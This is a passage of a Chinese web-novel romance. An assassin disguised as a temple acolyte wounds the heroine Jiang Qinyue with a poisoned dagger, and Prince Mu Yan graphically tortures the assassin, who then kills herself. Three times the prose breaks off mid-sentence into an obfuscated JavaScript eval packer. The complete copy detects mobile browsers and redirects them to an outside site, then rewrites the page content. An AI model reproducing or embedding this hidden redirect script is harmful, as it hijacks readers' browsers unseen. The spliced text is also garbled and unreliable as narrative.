“今天是我失态,抱歉让殿下看了笑话,不过看到穗泽娘娘真容时,我确实被吓到了……”江沁月觉得“吓到”这个词似乎也不太妥当,“总之就是……实在没想到会有这种情况吧。” 穆衍道:“不必忧心,净云观的人都说你与穗泽娘娘有缘,还说希望今年丰年祭由你担任神女。” “人们看见长得跟弥勒似的小娃娃都会夸有福气,我今天却被吓得跟见了鬼似的,实在是罪过。”江沁月不免有些汗颜。 “照镜子看得久些,都会觉得镜中的自己陌生,陡然看见这么一尊与自己极为相似的塑像,自然难免惊惶。”穆衍宽慰道。 “好啦好啦,不提此事了,我真的已经想开了。”江沁月终止了这个话题,其中的弯弯绕绕也与他解释不清。 不过他说什么……希望她担任丰年祭神女?这又是什么情况? 穆衍解释道:“每三年一度丰年祭时,一般会从皇族或世家中选一名德才兼备的女子作为神女,在仪式上祭舞祝祷,向穗泽娘娘献供五谷。” 听这条件,肯定是与她无关了,江沁月也就不再去想。 一天都没怎么好好吃东西,江沁月举起筷子跃跃欲试,看见又是一桌子花式素菜后,又有些无从下手。 再精致的素菜也只是素菜,做得再像荤菜也不是真的荤菜。 “殿下,回去后我们一起去昭兰姐那里吃饭吧。”她眼巴巴地望着穆衍,欲哭无泪。 …… 之后的日子倒也稀松平常,与穆衍每日晨昏两次雷打不动的祈福诵经相比,江沁月天天睡到日上三竿的养老生活倒是幸福多了。 小半个月的时间很快过去,只待最后一日将众人所抄写的经文全部烧掉,祈福也就算是圆满了。 “江姑娘,快醒醒。”江沁月迷迷糊糊间被云霞叫醒,困得睁不开眼。 她半睁着眼睛瞥见窗外蒙蒙亮的天色,哀嚎一声重新拉上被子蒙住了头。 “……这也太早了吧?出什么事了吗?”江沁月的声音闷闷地从被子里传来。 “今日是最后的祈福仪式,寺庙中所有人都得参加,”云霞道,“山顶上净云观的女修们也都得过来呢。” 看来是抓他们去凑人头充场面的。 被强制开机的江沁月看见一袭正装神清气爽的穆衍时,伴着哈欠向他打了个招呼:“早啊殿下。” 穆衍见她三魂七魄似乎都还没归位的困顿样,不免失笑:“早,我们快些过去吧。” 待他们赶到大殿前的广场上时,这里已经乌泱泱站了一群人。 穆衍自然和其他皇亲重臣一起站在了正中央,江沁月则和云霞、云霏以及众多凑数人员站在了边上。 不远处是一群穿着类似道袍的统一制服的女孩子,应该都是净云观的女修,不过江沁月没想到竟然有这么多人。 “那天我们去的时候都没见着几个人呀?”江沁月悄悄问云霞。 “净云观也不是真的道观佛寺,平日里她们大多时候都在忙别的事。”云霞解释道。 “净云观只收女修,她们大多是无家可归的孤女,在这里可以学自己感兴趣的东西,成年后可以下山自力更生,也可以继续留在这里。” 原来如此,善哉善哉。 仪式的流程十分漫长,江沁月他们一群人滥竽充数,任人摆布,让跪就跪,让起就起,让念词就跟着念词。 堆得小山似的经文被点燃,顷刻间火焰直冲天际。 抄经的纸墨是特制的,燃烧的白烟渐渐弥漫在整个广场上,散发出一股奇异的香味,却依旧有些呛人。 总算是熬到了仪式结束,江沁月挤到了穆衍身边,随着摩肩接踵的人群一起向外走。 “我们今日便可以回王府了吗?” “嗯,”穆衍点点头,“回去收拾好行李我们便下山吧。” 江沁月难掩心中雀跃,隐居山林的神仙生活还是不适合她,她想要马上回去感受人间烟火,大鱼大肉大快朵颐。 住在永宁寺的人都陆陆续续往上走,江沁月回头时,却看见其中突兀地混着一位净云观的女修。 奇怪……她们不应该下行出了永宁寺,再往山顶上走吗? 再一细看,这女修的眉眼生得极为凌厉深邃,不太像是中原人,或许是和云霏云霞一样来自边境的可怜孩子。 大抵是察觉到了她打量的目光,那女修抬眼对上她的视线,还朝她露出一个有些意味不明的微笑。 江沁月尴尬地回过头,自己这样实在是有点不太礼貌。 “怎么了?在看什么吗?”穆衍问道。 “我刚才看见有个净云观的女修,正奇怪她为何会和我们一起往上走……” 她说着又转头看了一眼——哪里还有刚才那位女修的身影? “兴许是上来找人吧,可能往哪条岔路去了。”穆衍收回视线,不甚在意地继续往前走。 永宁寺的禅房次第坐落于山坡上,而穆衍他们的禅房位于寺庙的最高处,所以越往上行,同行的人便越少。 “见过襄王殿下。”前方忽然转出一道人影拦在他们面前。 江沁月定睛一看,这人分明就是刚刚在他们后面的那名女修。 她心下疑虑,不动声色地看着这位有些怪异的女修。 “我奉命将这幅画像送来,观里的姐姐让我一定要亲自交到殿下手中。”她说着拿出一副卷轴,静静地站在那里。 此情此景,实在蹊跷。 穆衍亦是半晌没动作,几人之间诡异地僵持着,稀稀落落路过他们身侧的人也纷纷投来好奇的目光。 “拿来吧。”穆衍终于开口道,伸出手准备接过卷轴。 “是。”女修恭恭敬敬地上前一步,要将卷轴双手递上。 就在这时,异变陡生。 江沁月一直盯着这名女修,将她一举一动的细节都尽收眼底—— 她的手指在画轴内侧按了一下,只听见“咔哒”一声轻响,什么东西从轴头里弹了出来。 那女修反手将其抽出,竟是一柄长约一尺的匕首,薄如蝉翼,寒光铮铮。 真是好一招图穷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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面具之下的容颜自然是与方才那张脸截然不同,五官却是一样的具有异域风情。 穆衍将那张人皮面具丢在一边,起身道:“对自己的同胞也下此狠手,七星堂的人可真是无情,你说是吧?天璇?” “她在你们的地方长大,算不得我大辽子民。”刺客嗤笑道,“何况若能取走殿下性命,死她一个何妨?死我一个又何妨?我只恨自己无能,两次都杀你不得。” “云霏,把她带上去再说,别横在路上吓着其他人。”穆衍吩咐着,“云霞,你去找些药来,替她重新上药包扎一下。” 几人正要行动,却听见一声高呼:“堂兄留步!此人歹毒,就交给我这边的人处理吧。” 穆衍回头一看,是穆灼终于带人姗姗来迟。 “太子殿下,七星堂既然冲我而来,我希望能带她上去单独问几句话,”他说,“不如太子殿下先封锁山路,排查清楚是否还有其他可疑人员?” 穆灼倒是十分好说话:“堂兄请便,稍后我再带人来将她押回刑部。” 穆衍谢过他,一行人扬长而去。 32. 还施彼身蚀骨毒 天璇是七星堂首座之一,上次他们四位首座合力围杀穆衍却折损其三,只有她侥幸活了下来。 她无颜独自回去交差,又伤得极重,幸而她精通易容之术,便东躲西藏养精蓄锐,待来日一雪前耻。 后来天璇得知穆衍罹患重病的确切消息,却不知他病情究竟如何。 有人说他回天乏术命不久矣,有人说他好好调养亦无大碍。 不,不行,无论如何,她只希望穆衍能死在她手里。 哪怕身体还未痊愈,她也不想再等。 天璇是一个耐心的猎手,她等到了一个绝佳的机会。 她一路风尘仆仆,形容狼狈,以至于那个一看就是西辽人的净云观女修也以为她是逃到京城的难民。 女修说自己从小就被收养在净云观,那里的人都对她很好,若是她有困难的话,可以和她一起回观里。 天璇跟着她走了,却在上山途中趁其不备一刀刺入她的心脏。 她将女修草草掩埋,又照着她的模样制出一张人皮面具,从这一刻开始替代了她。 今日她主动揽下任务,要将一幅穗泽娘娘的画卷送给襄王身边的那位姑娘。 这是个绝佳的机会,可她却一败涂地。 或许……也不是一败涂地,她拭目以待。 想到这,天璇的嘴角勾起一抹诡异的微笑。 “你笑什么?笑你死期将近吗?”云霏厉声道,将人带到地方后又押着她跪在了地上。 他找来麻绳将天璇的手脚都牢牢缚住,确保她绝无可能挣脱后,才起身重新站回穆衍身后。 江沁月一直旁听着,事情究竟是怎么回事,倒也明白了个七七八八。 初遇时穆衍奄奄一息的惨状还历历在目,她却忘了他曾说过,还有一名刺客逍遥法外。 不过幸好今日刺客落网,看这情况定然是插翅难逃。 可能是紧绷的神经终于放松下来,江沁月只觉手掌上那道伤口的疼痛反而愈演愈烈。 “殿下……”她出声唤他,“没什么事的话,我想先回房间休息一下……” 短短几秒钟的时间,手上的疼痛就愈发难耐,痛感甚至蔓延到了整条手臂上。 穆衍转头便看见她脸色煞白,额前沁出细密的冷汗,神情痛苦地捂着手臂。 “沁月!你怎么了?!”他骇道。 “我……呃——痛……”江沁月本来还想逞强说自己没事,手上却突然传来一阵锥心刺骨的剧痛。 像是有千万只蚁虫在从内而外啃噬她的骨肉,江沁月痛得眼前发黑,几乎站立不稳。 穆衍连忙扶着她就地坐下,捉住她那只受伤的手查看情况。 包扎的布条已然被鲜血浸透,穆衍撕开布条,那道深长的伤口再次暴露在眼前。 穆衍仔细一瞧,只见她伤口上渗出的血液竟微微有些发黑。 “你在匕首上抹了毒?”他转头看向天璇,墨黑的眼眸如同无底深渊。 虽是问句,可是答案已然十分明了。 “哈哈哈哈……哈哈哈哈哈哈哈哈哈……”天璇狂笑不止,看见穆衍那副恨不得马上杀了她的表情,心底却觉得痛快极了。 好不容易止住了笑意,天璇看向他身后的云霏:“你说我笑自己死期将近?呵,到底是谁死期更近还不一定呢。” 接着她又看向穆衍:“殿下终于发现了,我都怕我看不上这场好戏了呢。” “我的三位同僚都死在你剑下,我便想着以牙还牙,对殿下而言一定是最好的死法。谁知道造化弄人,这一剑竟没有刺中你。” “不过若是能带走殿下心爱的小美人与我在九泉之下作伴,似乎也很是不错。” “你闭嘴!”穆衍怒不可遏。 痛觉之外的其他知觉似乎都变得模糊,江沁月甚至听不太清他们究竟在说什么。 但她与穆衍也认识挺长一段时间了,这是第一次听见他如此失态的语气。 “殿下……”江沁月轻声唤他,想告诉他让他别那么大动肝火,给自己气得发了病。 但她实在是无力说出一句完整的话来。 “你别说话了,沁月……没事的,没事的……我先帮你把毒血吸出来。” 穆衍温声安慰她,语气却难以维持以往那般平静。 江沁月隐隐约约看见穆衍捧起她的手,轻轻埋首于她掌心。 此刻的触觉变得格外敏锐,她感受到穆衍柔软的唇瓣轻轻贴上掌心的肌肤。 他用力吮吸出伤口的血液时,带来一阵奇异的酥痒。 江沁月的意识已经有些模糊不清,只凭本能寻找着能稍微舒缓疼痛的姿势,最后几乎是蜷在了穆衍的怀里。 穆衍自上而下轻轻抚摸着她的背脊,仿佛在安抚一只受伤脆弱的小猫。 大抵是因为毒血被尽数吸出,江沁月手上的痛感似乎也得到了缓解。 感受到怀中人紧绷的身体渐渐放松了些,穆衍一颗心却依旧高高悬起。 发现她中毒时为时已晚,纵然已将毒血吸出,恐怕也仍需解药才能彻底祛毒。 穆衍冷冷地看向天璇:“解药交出来,我留你一命。” 他嘴唇上还残留着江沁月的鲜血,殷红衬得他皮肤更为苍白,看起来分外妖冶。 天璇听到他的话,仿佛听到了什么天大的笑话,直笑得上气不接下气。 “殿下大概是气糊涂了,我是来杀你的,怎么可能把解药带在身上?” “解药早就不知道被我丢去了什么地方,你就死了这条心吧。” 穆衍正要发作,又见云霞走了进来,便下令道:“云霞,搜她的身,找解药。” 云霞一时有些不明所以,但也先将拿来的伤药放在一边,将天璇的身上摸了个遍。 “……殿下,没有,她身上什么别的东西都没有。”云霞回话道,“属下这便带人上净云观,去她的住处再搜寻一番。” “说了没有就是没有,怎么还不信我呢?”天璇讥诮道。 “啊……对了,此毒虽说不至于见血封喉,但只要沾上伤口,进入血液,死的话也只是迟早的事了。” “它会随血液运行流转全身,一点一点地侵蚀血肉直至骨髓,让人求死不得求死不能,不如一刀来个痛快。” 说到这,天璇的声音又带上了几分怨毒的恨意:“本来只要刺破你的皮肤,你就一定活不成,谁知道来了个不要命的替你挡着。” 听了她对毒药的一番详细介绍,江沁月手上的疼痛似乎又加剧了。 “呃……”她实在是忍受不住, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“死都不怕,我还会怕什么?”天璇不甚在意,“倒是殿下心爱的小美人必死无疑,有人作伴,我死也瞑目。” “我不会让她死的。”穆衍冷冷道。 “那可由不得殿下了,忘了告诉殿下,若是七日之内不服下解药,那即便是神仙也难救。你只能看她一点点受尽折磨而死。” “你只能看着她每天都被锥心蚀骨的疼痛折磨,她会日日哀求你,求你让她去死。” 天璇似乎是想象出了那副场面,愉悦地笑了起来。 穆衍目眦欲裂,再也维持不住脸上故作平静的神情。 他越愤怒,天璇便越兴奋。 “不敢欺瞒殿下,我确实知道解药配方,但我死也不会告诉你,哈哈哈哈哈……” 她的笑声尖锐刺耳,穆衍彻底失态,一脚踹在了她的肩膀上。 天璇的手脚都被捆住,无法借力,只能被踹得狼狈倒地。 方才那柄刺向他的匕首也被一并带了回来,穆衍擦拭掉上面已经干涸的属于江沁月的血迹,走到天璇的身边。 “她、不、会、死。”他一字一顿道,固执而坚决。 匕首的锋刃抵上她的心口,又缓缓上移,轻划过脖颈又贴上她的面颊。 “我会有办法,让你开口说出解药配方。” 33. 刀入骨难抵恨心 穆衍微微用力,锋利的刀刃便刺破天璇的皮肤,鲜血瞬间沁出,顺着她的脸颊缓缓流下。 “就从你的脸开始吧。” 第二刀落在了她的手掌上。 第三刀…… 第四刀…… 匕首像一条冰冷的毒蛇,在天璇的身上缓缓游走,在何处施力全凭穆衍随心。 穆衍的动作慢条斯理,划下的每一刀都用力极深,又恰好避开了所有要害。 触目惊心的伤痕遍布天璇全身,鲜血浸透了她身上那身鹅黄的净云观制服。 匕首上的毒也渐渐起效,带来的剧痛从伤处蔓延开来,天璇却浑然不觉,脸上还带有扭曲的笑容。 “殿下就想用这种手段来逼我交出解药配方?不可能的,七星堂的人最不怕折磨。” “等我的血流尽,死了便一了百了。” “既然是折磨,怎会让你就这么轻易死掉?”穆衍道,“自然是要你……求生不得,求死不能,直到交出药方为止。” 他取出给江沁月用剩的止血药粉,撒在了天璇的每一处伤口上。 药粉混合着血液很快凝结成血痂,毒药所致的疼痛却愈发剧烈,天璇硬是咬着牙不吭一声。 眼瞧着差不多了,穆衍重新握住匕首,在她的身上比划着,思考着要继续从哪里下手。 她似乎没有一点人为刀俎我为鱼肉的自觉性,哪怕如今已是阶下囚,却依旧总用那种冷如蛇蝎的眼神凝视着穆衍。 仿佛是在无声地挑衅他:你能奈我何? 穆衍十分厌恶她这样的眼神,却也深深地感到无力。 不如就先剜去她这双眼睛。 他掉转匕首的方向,冷厉的刀尖抵上天璇的眼皮,只需稍稍用力,便可以刺进她的眼眶。 天璇的双眼一眨不眨,毫无畏惧地直视着近在毫厘的刀尖。 蓦地却见穆衍的手一抖,匕首便“当啷”一声落在地上, 他神色痛苦地半跪在地,双手紧抓着胸前的衣襟,心口传来的尖锐刺痛有如被千万根细密银针同时扎上。 “殿下!”云霏惊呼一声扶住了他。 “真好啊,看来黄泉路上有殿下作伴也不是没可能的事,哈哈哈哈……” 天璇很快反应过来穆衍应该是发病了,顿时哈哈大笑起来。 “你……唔……”穆衍根本无法说出一句完整的话,喉间不断有鲜血上涌,咯出的鲜血在地上凝成一汪,洇红了宽大的衣摆,看上去十分骇人。 华丽的正装礼服上此刻已沾满血污,也分不清究竟是谁的血。 穆衍突然在想,江沁月毒发之痛与他病发时的痛,究竟何者更难捱? 他不知道。 但只要一想起她被锥心蚀骨的疼痛折磨得奄奄一息的样子,一想到她七日之内得不到解药便再无可救…… 他不敢想。 心口的疼痛稍微缓解,不再那么难以忍受,穆衍强撑着站起身,随意地抹掉嘴角的血迹,重新拾起地上的匕首。 他不想再多费口舌,也失去了耐心,划下的每一刀都毫无章法,又带着极深的恨意。 与其说是审讯,不如说是单纯的发泄。 穆衍把止血药粉丢给了云霏,让他看着时机给天璇上点药,以免她失血过多过快死掉。 新伤与旧伤交叠,天璇浑身上下已经快要找不出一处好肉。 但她依旧不松口。 “殿下!”从净云观归来的云霞果然一无所获,进门便闻见了院中浓重的血腥味。 自家殿下一向端方,她几乎从未见过他如此失态的模样。 “……太子殿下带人往这边来了。”她提醒道。 穆衍闻言如梦初醒一般,他将天璇带来是想问话,却因江沁月中毒一下子慌了神,全然忘了自己要问些什么。 可如今解药也依旧没下落,他心急如焚,又萌生出一种无力的挫败感。 心口的刺痛又开始发作,穆衍极力忍耐,握着匕首的手却控制不住地微微发抖。 痛…… 每一寸肌肤,每一块骨头,都在无声叫嚣着。 毒药所致的疼痛阵阵加剧,惊涛骇浪般席卷全身。 天璇勉力睁开几乎被血糊住的双眼,看见了悬停在自己面前的锋刃。 既然无论如何她都不会有好下场,与其继续受折磨,不如…… 她像一只凶兽,如以往每一次的刺杀一般伺机而动。 尽管手脚被缚,行动严重受限,但这都无所谓。 因为这次的目标不是别人。 天璇爆发出一股惊人的力量,主动将脆弱的脖颈撞上了刀刃,霎时间血流如注。 穆衍几人没想到她还能有此动作,还是云霞最先反应过来,拿手帕压住了她的伤口。 “别让她死了!” 多么可笑,一心想要他死的人,此刻他却希望她能活着。 可是没有用,天璇撞上刀刃的力道极大,甚至已经割破了喉管,不断涌出的鲜血很快就浸透了手帕。 血液的加速流失让知觉变得麻木,她反而感到舒服了些。 此毒是七星堂特制,专用于刺杀或刑审重犯,在西辽内部亦是罕见。 七日之内,他们不可能弄到解药。 “我会在下面……等着她……也等着你,殿下。” 因为喉管被割开,天璇的声音破碎喑哑,还带着嘶嘶气声,仿佛地狱恶鬼。 “你休想!呃……”穆衍气血上涌,又咯出一口鲜血。 “怎么回事?”穆灼听见了争执,便让随行官员在外面候着,和颜桃一起先走了进来。 入目只见一片血腥狼藉,刺客倒在血泊中,看上去已无生机,一旁的穆衍脸色亦是难看至极, “匕首上抹了毒,她不肯交出解药配方,沁月现在很不好……”穆衍已经有些提不起力气说话。 云霞忙接过话茬,将事情仔细解释了一遍,云霏则去取来太医之前准备的救急药丸,让穆衍服下。 穆灼未发一言,众人难免有些忐忑。 朝廷重犯还未等审讯便横死在此,实在是有些不好交代。 “太子殿下,刺客的身份我等早已查明,只是解药配方她宁死也不交出。”云霞抢道,“既是七星堂的人,恐怕也难以问出更多信息。” “阿灼,人命关天,刺客已死,活着的人不能再有闪失。” 颜桃一进来便去了禅房看望江沁月的情况,看着这二人情况实在不好,担忧之情溢于言表。 穆灼又看了那具宛如凌迟的尸体一眼,开口道:“刺客畏罪自戕,我会向父皇和大臣们交代。堂兄与江姑娘伤病严重,先赶紧下山吧,余下的事我会处理。” “其他人还得在永宁寺多留一日,待全部排查清楚之后,我也会派人告知堂兄一声。” “多谢……”穆衍勉强地笑了笑。 颜桃也唤来自己的贴身侍女,让她拿着自己的令牌,先行下山去请太医到襄王府上。 …… 襄王府上,清秋苑中。 “张院判,先给她看看,此毒是否有解?”穆衍吃了药后,发作的心疾已缓解许多。 他顾不得自己,一颗心全系在了江沁月身上。 江沁月早已昏迷不醒,紧锁不展的双 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“殿下恕罪,依微臣之见,此毒毒性在于日渐侵蚀中毒者的血肉,直至深入骨髓,中毒者多半是被不断加剧的疼痛折磨而死,而非真的等到血肉被侵蚀殆尽的那一天。” “故微臣认为,此毒虽难解,但也不至于坐以待毙……若是长期服用去腐生肌的汤药来对抗毒性的侵蚀,再辅以镇痛良方,大抵也能延年续命。” 江沁月听懂了,就是带病生存嘛。 穆衍有不治之症,她有不解之毒,看来襄王府以后要有两个药罐子了。 王府直接改造成疗养院得了——她苦中作乐地想。 “此法能暂保江姑娘性命无虞,微臣及全太医院上下也定会力求彻底解毒之法。”张院判补充道。 “下去吧,本王希望太医院不只是一群饭桶。” 张院判长舒一口气,告退之前还是又替穆衍把了脉。 他语重心长道:“恕微臣多嘴,殿下的病必须得静心调养,按时服药,切忌情绪剧烈波动,万望殿下珍重己身。” 江沁月微微睁开眼,看见穆衍苍白的容颜,联想到方才张院判的话,便知道他一定是又发病了。 她本想劝他保重身体,却突然注意到他还未来得及换下的礼服上满是血污,不免又是一阵心惊。 “殿下,你衣服上的血……”她紧张道。 “啊,是刺客的血,她畏罪自杀,我离得太近,不小心沾到了衣服上。” 穆衍有些不自在地将沾染血污最多的袖摆掩在了身后,却窘迫地发现全身上下都很难找到一片完全干净的布料。 他曾征战沙场,不是没杀过人,江沁月也定然知道他杀过人的。 但他不想她看见自己的双手沾满鲜血,他希望她看到自己干干净净的,永远是那个温润端方的谦谦君子。 “原来如此,那殿下快去换身干净衣服吧,还有,记得好好吃药……”江沁月不疑有他,又开始絮絮叨叨。 要命的疼痛将她折磨得筋疲力尽,如今疼痛缓解,困意也渐渐上涌,江沁月又一次沉沉睡去。 “殿下先回去休息吧,江姑娘这边我来照顾就好。”云霞劝道。 “不,你们都下去吧,我想……亲自看着她。”穆衍轻声道。 看着她恬静的睡颜,听见她平稳的呼吸,这样似乎也不够。 他握住江沁月纤细的手腕,指尖清晰地传来她脉搏的跳动。 哒、哒、哒。 几乎同频的心跳,终于让穆衍感受到了片刻久违的心安。 34. 日思夜虑愁不解 大约是体内的药性和毒性在打架,江沁月自那日之后总是浑浑噩噩,昏睡时多清醒时少。 其实睡得也不太安稳,因为她能清楚地感觉到,太医开给她的镇痛药对毒痛的压制在一点点减弱。 而且她还常常惨遭鬼压床。 在梦中不知多少次,她感到胸口似乎被压上了千斤巨石,沉重得让人快要窒息。 惊醒一看,却发现是穆衍不小心睡着了,压在了她的身上。 是了,穆衍这些天来几乎衣不解带,大部分时候都守在她身边,陪着她照顾她。 江沁月担心他的身体,和云霏、云霞轮流劝他好好休息也听不进去,无奈只能由他去了。 穆衍心细如发,哪怕她隐忍不说,又怎会猜不出镇痛药在渐渐失效? 他固执而坚持,日日守着她,亲自照顾她,好像只有这样,才能消解一些心中的惶惑。 他曾怀疑她,监视她,尽管早已不甚在意她到底是什么人…… 他对她的猜忌反复无常,可是她却毫不犹豫地为自己挡下了那一刀,从此再难摆脱那锥心蚀骨的毒痛。 所有的疑云,就此全然消散。 看着她睡着后难以掩饰那微蹙的双眉,穆衍不禁在想,在他无知无觉他们初遇之时,她是否也曾日日这样看着自己? 手指无意识地卷起她散落胸前的长发,他记得她当初头发挺短的,说是割发代首与夫家断义,如今已长长了不少。 曾经那个鲜活明媚的女孩,如今就这般了无生机地躺着,穆衍无端地生出一种恐惧。 他想起了母妃生前,最后那段缠绵病榻的日子。 母妃一向身体羸弱,在得知父王战死的噩耗后终日郁郁,不久后便病倒了。 那场急病来势凶猛,母妃肉眼可见地一天天衰弱下去,太医院束手无策,民间妙手也请了个遍,各种参汤灵药服下亦难有起色。 母妃最终还是永远地离开了他。 一切都发生得太快,孝期未过便又添新丧,穆衍甚至没有一点心理准备,而母妃也未来得及留下只字片语的遗言。 他从此便只剩孤身一人。 那年恰好也是这样的暮春之际。 穆衍坐在床前,垂眸看着沉沉昏睡的女孩。 似曾相识的场景似乎再次重演,他不知道她还能活多久,甚至不知道下一刻她是否就会死去。 他只有一直看着她,时刻感受到她的呼吸脉搏,才能稍稍安心。 人是何等脆弱?一场突如其来的急病,一道暗□□意的伤口,生机便如指缝流沙一般迅速流逝,握不住,留不下。 而他也只能这样看着,什么也做不了。 不能挽救她,也不能缓解她的痛苦。 可是他真的不愿再失去自己珍视之人。 …… 七天的时间转瞬即逝,又好像无比漫长。 “七日之期已到,去把太医院那群饭桶给我找来。”江沁月一醒来便听见穆衍冷声下令,语气中满是戾气。 她这些时日总是昏沉不醒,早已分不清白天黑夜,原来已经过去七天了吗? 江沁月从被子中伸出手扯了扯他的衣袖,穆衍见她醒了,又温声问她饿不饿渴不渴,可有哪里难受。 她轻轻地摇摇头。 其实哪里都难受,可是说出来又有什么用呢? 何况她连说话的力气都没有,镇痛药已经快要没有效果。 江沁月也不禁怀疑,太医院的老头们不会真是一群饭桶吧? “沁月,你不必这般忍着……”穆衍叹息道,他自然看得出她在粉饰太平。 “殿下,太医院的人来了。”刚出去片刻的云霏去而复返,原来是刚走到门口便遇上了张院判带人前来复命。 张院判此番带了数名太医随行,一进来便齐刷刷跪倒一片。 “殿下恕罪,臣等无能。” 完了,看这架势,自己估计是没救了。 江沁月仰天长叹,失望地闭上了双眼。 “无能?依本王之见,不如给你们一人也来上一刀,想必就有能耐了。” 张院判闻言忙道:“殿下息怒,请先听微臣一言。” 见穆衍默然,他接着道: “此毒实在难解,臣等虽未能解出其具体成分,但解药也定然需要西辽特有药材,七日之内也很难寻得。” “臣等日夜思量,一致认为最好的方法是退而求其次,正如微臣上次与殿下所言,用去腐生肌之药来对抗毒性的侵蚀,再辅以镇痛良方,从而延年续命。” “臣等今日前来,正是带来了改良后的药方,这去腐生肌的汤药略有加减几味,而这止痛的药丸是臣等新制,其药效更好也更为持久。” “只是有一点需注意,此药虽药效持久,但服下后也会渐渐失效,若是长期大量服用,会很快产生耐药性。” “所以若非到了疼痛难忍之时,尽量少用此药,臣等将其制成丸剂,也是为了方便江姑娘随身携带。” 意思就是有点痛就硬扛着,要痛死了再吃药止痛,吃得太勤快这药以后就没效果了。 这活着何尝不是一种酷刑?江沁月心有戚戚。 “张院判,这样一来的话,我还能活多久?”她有气无力地问道。 张院判道:“坚持用药定能保江姑娘性命无虞,臣等也定会竭力寻求他法,争取完全祛除此毒。” 另一名太医道:“微臣的友人在西辽经商,与西辽皇室有所往来,我已去信一封,让他帮忙寻求解药。” 多半也就是场面话,而且天璇也说过,必须得在七日之内服下解药,时间一过,找来了解药也无济于事。 不过只要能苟活着,等到回了现代有了高超的现代医疗技术,总能把她治好了吧? 既然是血液里的毒,实在不行的话,那全身换血总行了吧?大不了就先贷款治病,她再边上班边写书慢慢还钱…… 江沁月的思绪越飘越远,越想越觉得自己命苦。 …… 果然太医院的人不可能是吃干饭的,换了新药之后,江沁月的情况很快便有了好转。 止痛药的效果立竿见影,不必再夜以继日地挨着痛,她也不再日日昏睡,精神渐渐好了起来。 穿越之后结交的好友们也轮番上门来看望她,赵昭兰每次都带着文火慢炖的高汤,颜桃、凌觉和李娴他们则带来了各种乱七八糟的昂贵补品。 江沁月因为疼痛吃不下饭而掉的那几斤肉很快便被大家的热心投喂补了回来。 只是穆衍依旧愁眉不展。 江沁月见他比自己这个当事人还忧心,便安慰道: “殿下别替我担心了,现在总归是能好好活着,实在不行之后去找玉方看看。” “只是昭兰姐说她前些时日来信说回了山门,大抵是什么与世隔绝的深山老林,反正书信不通,等她出山下次来信时再问问她。” “好。”穆衍应了一声,却好像仍有别的话想说。 踌躇片刻,他终于开口问道:“沁月,那天你……为何要替我挡下那一刀?” 这些天来穆衍愧疚不已,寝食难安。 他替她感到不值,一个人何必为另一个人做到如此地步? 但他的问话落在江沁月耳朵里,却是以为他怀疑自己在使苦肉计。 她十分坦然,理所应当道:“因为那天刚好就我反应快吧,谁知道她还在匕首上抹了毒……” “不过就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16443948|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算知道我也会上的,划破了手还有机会活,要是刺进殿下心脏可就真完蛋了。” 穆衍露出一个无奈的笑:“你怎么这么傻?” “替别人着想时,也多想想你自己。”他叹道,“难道每次看到有人遇刺,你都要上去替人挡刀吗?” “当然不是!那我岂不是早就被捅成筛子了?”江沁月不免觉得有些好笑。 她想也不想,接着道:“因为是殿下,我才挡下那一刀的。” 话音刚落,她便意识到这话有些不妥,还有些……暧昧。 她的意思是,因为穆衍是她的任务对象,他死了任务就玩完了,所以当然得挡下那一刀。 “我不想看到殿下死,因为殿下是……对我而言很重要的人。”江沁月补了一句,却感觉有点越描越黑了。 希望他别误会吧。 料想也不可能因为她说了两句暧昧的话,他俩就暧昧上了,不然上次“相亲”也不会白费那么多力气了。 穆衍此人,可远观而不可亵玩。 江沁月低头不敢看他神情,半晌后听他轻声道:“我也不想你死,沁月。” “这些天我都有在好好喝药,你也要乖乖吃药,好好活着。” 穆衍替她将垂落的一缕鬓发挽到耳后,不知有意无意,他的指尖流连而下,温柔缱绻地刮过她的脸颊。 “……好,祝我们都早日战胜病魔。”江沁月有些脸热,心不在焉道。 嗯,没错,他们以后大概就是同甘共苦的革命病友了。 可能是前些天睡得太多,江沁月见好之后,夜里总有些失眠。 一失眠就会想很多,越想得多就越睡不着,如此循环往复。 她有时候还是有点担心,万一现代医疗技术也拿这古代奇毒没办法可如何是好? 身穿的坏处就在这里,不管遭了什么大病小灾,都切切实实地挨在了自己身上。 不说给她安排个魂穿,哪怕按她的样子1:1打造一个空壳替身再让她穿过来也行啊,这样回家以后就能毫发无伤,又是好汉一条。 都怪漆桐!当神仙了也如此无能……江沁月心里暗骂了她两句。 “阿嚏!”床边响起一声喷嚏,江沁月被吓得一骨碌翻身而起。 借着月光一看,说曹操曹操到,来者正是漆桐。 她掐了个诀点亮了屋内烛火,疑惑道:“沁月,我披星戴月前来探病,你不会在偷摸说我坏话吧?” “啊哈哈,怎么会呢?当然是我太想你了,倒是大忙人终于有空来看看命悬一线的我了。”江沁月假笑道。 漆桐道:“这可不能怪我!穆衍天天几乎寸步不离地守着你,我哪里找得到能过来的时候?我还给你发了好多消息,但你也没机会看。” “我时刻在方天水镜关注着你这边的情况,这不一得空就马上下来了。” “谢谢你啊,”江沁月没好气道,“黑心老板!你给我买五险一金了吗?我这得算工伤!” “纠正一下,咱俩是同一根绳上的蚂蚱,应该算是合作伙伴,我在上面也就是小虾米一个,不能算是你老板。”漆桐十分严谨。 